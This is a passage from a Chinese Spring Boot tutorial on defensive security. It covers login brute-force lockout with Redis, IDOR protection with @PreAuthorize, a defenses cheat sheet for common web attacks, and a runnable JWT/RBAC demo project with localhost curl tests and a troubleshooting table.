 * 登录防暴力破解:同一账号连续失败 5 次,锁定 15 分钟。
 *  Redis 计数,分布式环境下也能生效。
 */
@Slf4j
@Service
@RequiredArgsConstructor
public class LoginAttemptService {

    private static final int MAX_ATTEMPTS = 5;
    private static final Duration LOCK_DURATION = Duration.ofMinutes(15);

    private final StringRedisTemplate redisTemplate;

    /**
     * 判断账号是否已被锁定。
     */
    public boolean isLocked(String username) {
        return Boolean.TRUE.equals(redisTemplate.hasKey(lockKey(username)));
    }

    /**
     * 登录失败时调用:失败计数 +1,达到阈值则锁定。
     */
    public void recordFailure(String username) {
        String attemptKey = attemptKey(username);
        Long count = redisTemplate.opsForValue().increment(attemptKey);
        if (count != null && count == 1) {
            // 首次失败,设置计数器的过期时间(窗口期)
            redisTemplate.expire(attemptKey, LOCK_DURATION);
        }
        if (count != null && count >= MAX_ATTEMPTS) {
            // 达到阈值:写入锁定标记
            redisTemplate.opsForValue().set(lockKey(username), "locked", LOCK_DURATION);
            log.warn("账号 {} 连续登录失败 {} 次,已锁定", username, count);
        }
    }

    /**
     * 登录成功时调用:清空失败计数。
     */
    public void reset(String username) {
        redisTemplate.delete(attemptKey(username));
    }

    private String attemptKey(String username) {
        return "login:attempt:" + username;
    }

    private String lockKey(String username) {
        return "login:lock:" + username;
    }
}

在登录逻辑里接入:

// AuthServiceImpl.login 开头
if (loginAttemptService.isLocked(dto.getUsername())) {
    throw new BizException(ErrorCode.PARAM_ERROR.getCode(), "登录失败次数过多,请 15 分钟后再试");
}
try {
    authentication = authenticationManager.authenticate(...);
} catch (AuthenticationException e) {
    loginAttemptService.recordFailure(dto.getUsername());   // 记录失败
    throw new BizException(ErrorCode.LOGIN_ERROR);
}
loginAttemptService.reset(dto.getUsername());   // 成功后清零

6.6 越权防护回顾(与第 4
章呼应)

越权(IDOR)在第 4
章已经重点讲透,这里总结成一句话防线:任何「按 ID
操作资源」的接口,后端都要校验「这个 ID
属不属于当前登录用户」
,用
@PreAuthorize("#id == authentication.principal")
或手动比对,绝不只靠前端隐藏入口。

6.7 六类攻击防护速查表

攻击 原理 防护
SQL 注入 恶意 SQL 片段拼进查询 MyBatis #{} 预编译;${}
仅限结构字段且白名单校验
XSS 注入脚本,浏览器执行 入参校验 + 输出转义 + CSP 头
CSRF 借用户 Cookie 伪造请求 JWT 走 Authorization 头天然免疫;Cookie 会话需 CSRF Token
CORS 过宽 任意域可跨域访问 来源白名单,禁止 * + 凭证
暴力破解 反复试密码 登录限流 + 锁定 + 验证码 + 慢哈希
越权(IDOR) 改 ID 访问他人数据 后端校验资源归属(@PreAuthorize("#id == authentication.principal")

本章小结

这一章从攻击者视角拆解了六类最常见的 Web 攻击:SQL 注入靠
#{} 预编译防(${}
只用于结构字段且必须白名单)、XSS 靠入参校验+输出转义+CSP、CSRF 靠 JWT
无 Cookie 天然免疫、CORS
靠来源白名单、暴力破解靠限流锁定、越权靠后端归属校验。安全没有银弹,但把这六条防线落地,能挡住绝大多数真实攻击。


5.
生产级实战项目:登录注册 + JWT + RBAC + 防越权

前面 6
章把知识点拆开讲了,这一节把它们串成一个完整可运行的实战项目:一个带认证授权的「订单
+ 用户」后端服务。它覆盖本篇 80% 以上知识点:注册登录、BCrypt 密码、JWT
签发与过滤、RBAC 角色权限、@PreAuthorize
方法级授权、防越权(IDOR)。

实战目标

实现以下能力:

  1. 用户注册(密码 BCrypt 编码入库)、登录(签发 JWT)。
  2. 所有业务接口需要带 Authorization: Bearer <token>
    访问。
  3. 用户拥有角色(ADMIN / USER),方法级授权控制谁能删用户。
  4. 订单接口:普通用户只能查自己的订单,管理员能查所有订单(防
    IDOR)。
  5. 登录失败统一提示、限流锁定、登出黑名单生效。

完整目录结构

com.example.demo
├── DemoApplication.java
├── common
│   ├── ApiResult.java
│   └── ErrorCode.java
├── config
│   ├── SecurityConfig.java
│   └── CorsConfig.java
├── exception
│   ├── BizException.java
│   └── GlobalExceptionHandler.java
├── entity
│   ├── SysUser.java
│   ├── SysRole.java
│   ├── SysPermission.java
│   └── Order.java
├── mapper
│   ├── UserMapper.java
│   └── OrderMapper.java
├── service
│   ├── AuthService.java
│   ├── UserService.java
│   └── impl
│       ├── AuthServiceImpl.java
│       └── UserDetailsServiceImpl.java
├── controller
│   ├── AuthController.java
│   ├── UserController.java
│   └── OrderController.java
├── dto
│   ├── RegisterDTO.java
│   └── LoginDTO.java
├── vo
│   └── LoginVO.java
├── security
│   ├── LoginUser.java
│   ├── JwtUtil.java
│   ├── JwtAuthFilter.java
│   ├── TokenBlacklistService.java
│   ├── LoginAttemptService.java
│   ├── RestAuthenticationEntryPoint.java
│   ├── RestAccessDeniedHandler.java
│   └── OAuth2LoginSuccessHandler.java
└── resources
    ├── application.yml
    └── mapper
        ├── UserMapper.xml
        └── OrderMapper.xml

新增:订单表与防越权接口

前面的章节已给出用户、认证、JWT、RBAC
的全部代码,这里补上「订单」这一业务资源,演示防越权:

CREATE TABLE sys_order (
    id          BIGINT        NOT NULL AUTO_INCREMENT,
    user_id     BIGINT        NOT NULL COMMENT '订单归属用户 id',
    order_no    VARCHAR(64)   NOT NULL COMMENT '订单号',
    title       VARCHAR(128)  NOT NULL COMMENT '订单标题',
    amount      DECIMAL(10,2) NOT NULL COMMENT '金额',
    created_at  DATETIME      NOT NULL DEFAULT CURRENT_TIMESTAMP,
    PRIMARY KEY (id),
    KEY idx_user_id (user_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='订单';
package com.example.demo.entity;

import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;

import java.math.BigDecimal;
import java.time.LocalDateTime;

/**
 * 订单实体,映射 sys_order 表。
 * user_id 是资源归属人,防越权校验的核心字段。
 */
@Data
@TableName("sys_order")
public class Order {
    @TableId(type = IdType.AUTO)
    private Long id;
    private Long userId;      // 归属用户
    private String orderNo;
    private String title;
    private BigDecimal amount;
    private LocalDateTime createdAt;
}
package com.example.demo.mapper;

import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.example.demo.entity.Order;
import org.apache.ibatis.annotations.Mapper;

/**
 * 订单数据访问层。BaseMapper 已提供 selectById / selectList 等。
 */
@Mapper
public interface OrderMapper extends BaseMapper<Order> {
}
package com.example.demo.controller;

import com.example.demo.common.ApiResult;
import com.example.demo.entity.Order;
import com.example.demo.mapper.OrderMapper;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import lombok.RequiredArgsConstructor;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;

import java.util.List;

/**
 * 订单接口:演示数据级防越权(IDOR)。
 */
@RestController
@RequestMapping("/api/orders")
@RequiredArgsConstructor
public class OrderController {

    private final OrderMapper orderMapper;

    /**
     * 查询订单列表。
     * ADMIN 角色:查所有订单。
     * 普通用户:只能查自己的订单(#userId == authentication.principal)。
     * 注意:这里把「当前用户 id」作为参数传入 service 层做归属过滤,
     * 而不是信任前端传的 userId,从而防水平越权。
     */
    @GetMapping
    @PreAuthorize("hasRole('ADMIN') or #userId == null or #userId == authentication.principal")
    public ApiResult<List<Order>> listOrders(@RequestParam(required = false) Long userId) {
        // 普通用户查询:强制用当前登录用户 id 过滤,忽略前端传入的 userId
        if (userId == null) {
            userId = (Long) org.springframework.security.core.context.SecurityContextHolder
                    .getContext().getAuthentication().getPrincipal();
        }
        List<Order> orders = orderMapper.selectList(
                Wrappers.<Order>lambdaQuery().eq(Order::getUserId, userId));
        return ApiResult.ok(orders);
    }
}

防越权要点:接口不信任前端传的
userId——普通用户即使请求里带 userId=2(别人的
id),@PreAuthorize("#userId == authentication.principal")
也会拒绝(因为 #userId=2
principal=1)。管理员(hasRole('ADMIN'))才被允许传任意
userId 查所有订单。

最终版
SecurityConfig(串起所有组件)

package com.example.demo.config;

import com.example.demo.security.*;
import lombok.RequiredArgsConstructor;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
import org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
import org.springframework.web.cors.CorsConfigurationSource;

/**
 * 生产级安全配置(最终版):JWT 无状态 + 方法级授权 + OAuth2 + CORS + 统一异常。
 */
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
@RequiredArgsConstructor
public class SecurityConfig {

    private final JwtAuthFilter jwtAuthFilter;
    private final RestAuthenticationEntryPoint authenticationEntryPoint;
    private final RestAccessDeniedHandler accessDeniedHandler;
    private final OAuth2LoginSuccessHandler oAuth2LoginSuccessHandler;
    private final CorsConfigurationSource corsConfigurationSource;

    @Bean
    public PasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder();
    }

    @Bean
    public AuthenticationManager authenticationManager(AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .cors(cors -> cors.configurationSource(corsConfigurationSource))   // 自定义 CORS 白名单
            .csrf(csrf -> csrf.disable())                                     // JWT 无 Cookie,天然免疫 CSRF
            .sessionManagement(sm -> sm.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/api/auth/**", "/oauth2/**", "/login/**", "/error").permitAll()
                .anyRequest().authenticated())
            .exceptionHandling(ex -> ex
                .authenticationEntryPoint(authenticationEntryPoint)   // 401 JSON
                .accessDeniedHandler(accessDeniedHandler))            // 403 JSON
            .oauth2Login(oauth2 -> oauth2.successHandler(oAuth2LoginSuccessHandler))
            .addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);
        return http.build();
    }
}

运行步骤

# 1. 准备环境:启动 MySQL 8.0 和 Redis
# 2. 建库建表:执行 3.2 节 schema.sql + data.sql + 本节的 sys_order 表
#    注意:data.sql 里的 BCrypt 哈希要用代码生成后替换(见下方提示)
# 3. 启动应用
mvn spring-boot:run

# 4. 注册用户
curl -X POST http://localhost:8080/api/auth/register 
  -H "Content-Type: application/json" 
  -d '{"username":"alice","password":"123456","nickname":"Alice"}'

# 5. 登录拿 token
curl -X POST http://localhost:8080/api/auth/login 
  -H "Content-Type: application/json" 
  -d '{"username":"alice","password":"123456"}'
# 返回:{"code":0,"data":{"id":2,"username":"alice","token":"eyJhbGciOi..."}}

# 6. 用 token 访问订单(把 <TOKEN> 换成上一步的 token)
curl http://localhost:8080/api/orders 
  -H "Authorization: Bearer <TOKEN>"

# 7. 不带 token 访问 → 401(JSON)
curl http://localhost:8080/api/orders

# 8. 普通用户尝试查别人订单 → 403(防越权拦截)
curl "http://localhost:8080/api/orders?userId=1" 
  -H "Authorization: Bearer <TOKEN>"

# 9. 登出后 token 失效(黑名单)
curl -X POST http://localhost:8080/api/auth/logout 
  -H "Authorization: Bearer <TOKEN>"

生成 BCrypt 哈希的提示data.sql 里的
$2a$10$REPLACE_WITH_BCRYPT
需要替换成真实哈希。可以写个临时的 main
方法,或直接用注册接口注册用户(自动编码),再把结果填进种子数据。

验证清单(跑通即算完成)


6. 常见坑与排错指南

坑 / 现象 原因 解决方案
启动报 AuthenticationManager 注入失败 Spring 默认不把 AuthenticationManager 注册成 Bean SecurityConfig 里显式声明
@Bean AuthenticationManager authenticationManager(AuthenticationConfiguration)
登录永远返回「用户名或密码错误」,明明密码是对的 数据库里存的不是 BCrypt
哈希(存了明文/其它算法),matches 永远 false
passwordEncoder.encode() 重新编码入库;确认
PasswordEncoderBCryptPasswordEncoder
jjwt 报 WeakKeyException 或密钥长度错误 HS256 要求密钥 ≥ 256 bit(32 字节) JWT_SECRET 设成至少 32 字节的随机串
@PreAuthorize("hasRole('ADMIN')") 永远 403 你的 authority 是 ADMIN,但 hasRole 会加
ROLE_ 前缀找 ROLE_ADMIN
过滤器里用 ROLE_ 前缀构造 authority,或用
hasAuthority('ADMIN')
@PreAuthorize("#id == authentication.principal")
一直不生效
principal 放的不是 userId(放成了
LoginUser 或字符串)
表达式改为
#id == authentication.principal.id,或过滤器里直接放
Long 类型的 userId
前端跨域请求带 JWT 被浏览器拦截 CORS allowedHeaders 没包含
Authorization
config.setAllowedHeaders(List.of("Authorization", "Content-Type"))
JWT 登出后还能访问 无状态 token 无法主动失效,未做黑名单 登出时把 jti 写 Redis 黑名单,过滤器校验命中即拒绝
MyBatis 里用 ${} 拼用户名导致 SQL 注入 ${} 是字符串拼接,不是预编译 动态值一律改 #{}${}
仅限排序字段/表名且白名单校验
关闭 CSRF 后心里没底 不确定是否安全 JWT 走 Authorization 头、不用 Cookie 时才可关闭;Cookie
会话必须保留 CSRF Token
密码用 {noop} 前缀存了明文 拖库即泄露 普通用户密码一律
BCryptPasswordEncoder.encode(){noop}
只用于不设密码的第三方账号占位

8. 总结与延伸阅读

总结

本阶段你从零搭起了一套生产级认证授权体系:先理解了 Spring Security
过滤器链和「先认证后授权」的心智模型;再用
BCrypt
落地了安全的数据库登录,用统一失败提示防撞库;接着用
JWT
实现了无状态认证,讲透了它的三段结构、签名防篡改、密钥外部化和黑名单登出;然后用
RBAC + @PreAuthorize 做了方法级授权,用
#id == authentication.principal 防住水平越权;再接入
OAuth2/GitHub 第三方登录;最后系统防住了 SQL
注入、XSS、CSRF、CORS 过宽、暴力破解

六类攻击。安全不是某个框架的配置项,而是一整套「认证 + 授权 +
纵深防御」的工程实践。

延伸阅读


本文为 Spring Boot 教程系列阶段 5,下一篇阶段 6
将进入「消息与异步」主题。

正文完
 0
评论(没有评论)